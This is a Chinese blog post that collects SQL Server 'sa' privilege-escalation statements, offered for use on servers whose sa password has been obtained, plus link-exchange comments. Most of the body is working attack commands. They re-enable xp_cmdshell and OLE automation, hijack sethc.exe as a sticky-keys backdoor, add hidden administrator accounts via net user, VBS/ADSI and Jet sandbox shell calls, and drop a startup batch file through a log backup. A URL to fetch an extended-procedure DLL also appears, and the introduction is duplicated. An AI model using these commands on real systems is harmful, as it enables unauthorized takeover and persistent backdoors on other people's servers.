分类
网络技术

Sa提权sql语句大全

Sa提权方式很多,而最快捷的方式就是shift粘滞键镜像劫持。这种Sa提权方法必须满足几个条件,数据库可以远程访问,服务器开启了终端远程访问也就是3389和粘滞键功能。这样就可以利用Microsoft SQL Server Management Studio或其他漏洞检测工具来连接远程数据库了。

个人推荐使用Microsoft SQL Server Management Studio,可以在微软官方网站下载:http://www.microsoft.com/web/downloads/platform.aspx。如果不用数据库可以不安装,选装Microsoft SQL Server Management Studio就可以了。然后链接数据库引擎,用已得到的sa用户连接数据库,执行下面sql语句,再通过远程桌面链接服务器并连续按5次任意键就可以得到服务器的系统权限了。

Sa提权方式很多,而最快捷的方式就是shift粘滞键镜像劫持。这种Sa提权方法必须满足几个条件,数据库可以远程访问,服务器开启了终端远程访问也就是3389和粘滞键功能。这样就可以利用Microsoft SQL Server Management Studio或其他漏洞检测工具来连接远程数据库了。

个人推荐使用Microsoft SQL Server Management Studio,可以到微软官方下载地址:http://www.microsoft.com/web/downloads/platform.aspx。如果不用数据库可以不安装,选装Microsoft SQL Server Management Studio就可以了。然后链接数据库引擎,用已得到的sa用户连接数据库,执行下面sql语句,再通过远程桌面链接服务器并连续按5次任意键就可以得到服务器的系统权限了。

从网上收集了Sa提权用到的sql语句,在Sa提权过程中结合实际情况来使用吧。

获取终端端口号(两种方法)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';

设置终端端口(这两个注册表项必须相同)

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber','REG_DWORD',3389;

exec master..xp_regwrite  'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp','PortNumber','REG_DWORD',3389 ;

查询是否被别人劫持过了(唉!)

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger';

镜像劫持shift.exe 得到系统权限 CmdShell (也可以劫持其他文件如:taskmgr.exe)

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';

删除镜像劫持(不想和别人共享服务器用完了就删掉吧)

exec master..xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

命令不能执行或权限不足请参考如下提权方法:

1 未能找到存储过程’master..xpcmdshell’。

恢复方法:查询分析器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕。

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

恢复方法:查询分析器连接后,

第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕。

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:查询分析器连接后,

第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕。

恢复xp_cmdshell

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
sp_addextendedproc 'xp_cmdshell','xplog70.dll'

添加存储过程

sp_addextendedproc 'sp_oacreate','odsole70.dll
sp_addextendedproc 'xp_lake2', 'd:\wwwroot\caoo\wwwroot\xplake2.dll'
sp_dropextendedproc xp_lake2

–可以在网上下载到xplake2.dll (http://www.0x54.org/lake2/program/xplake2.dll)

加账号

EXEC xp_lake2 'net user > d:\wwwroot\caoo\wwwroot\1.txt'
EXEC xp_lake2 'net user 123 123 /add'
EXEC xp_lake2 'net localgroup administrators 123 /add'

4终极方法:

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分析器连接后,

2000servser系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

xp或2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

替换shift后门,跟开章的镜像劫持效果一样

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

开启数据库沙盘模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')

不同的操作系统,路径也不一样,需要根据情况做修改:

NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

alter database [sq_crmchuangyu] set RECOVERY FULL--
create table cmd (a image)--
backup log [sq_crmchuangyu] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [sq_crmchuangyu] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--

在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录 (ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下(测试成功!很实用!):

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"

将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示 “c:\1.vbs正被另一个程序运行”而无法成功添加用户:

exec master..xp_cmdshell 'cscript c:\1.vbs'

如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。

Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user’
执行SQL语句时发生错误!

错误描述:SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

exec master..sp_addextendedproc  'xp_cmdshell','xplog70.dll'--成功。

在执行SQL语句
[Microsoft][ODBC SQL Server Driver][SQL Server]在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败,错误代码: ‘5’。

遇到 sql server 2005 ,恢复xp_cmdshell的办法:

开启XP_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;

开启'OPENROWSET':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;

开启'sp_oacreate':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;

就这么多了!总之,具体问题具体分析吧!

“Sa提权sql语句大全”上的15条回复

贵站不错,申请一下链接。希望能通过,方便以后互访!
本站建于09年5月,目前PR为3.百度GG收录均正常.
PS:本站已经在首页加上贵站链接了。
本站地址:http://www.jenzone.cn希望在贵站置顶
谢谢友链 合作愉快~!

发表评论

邮箱地址不会被公开。 必填项已用*标注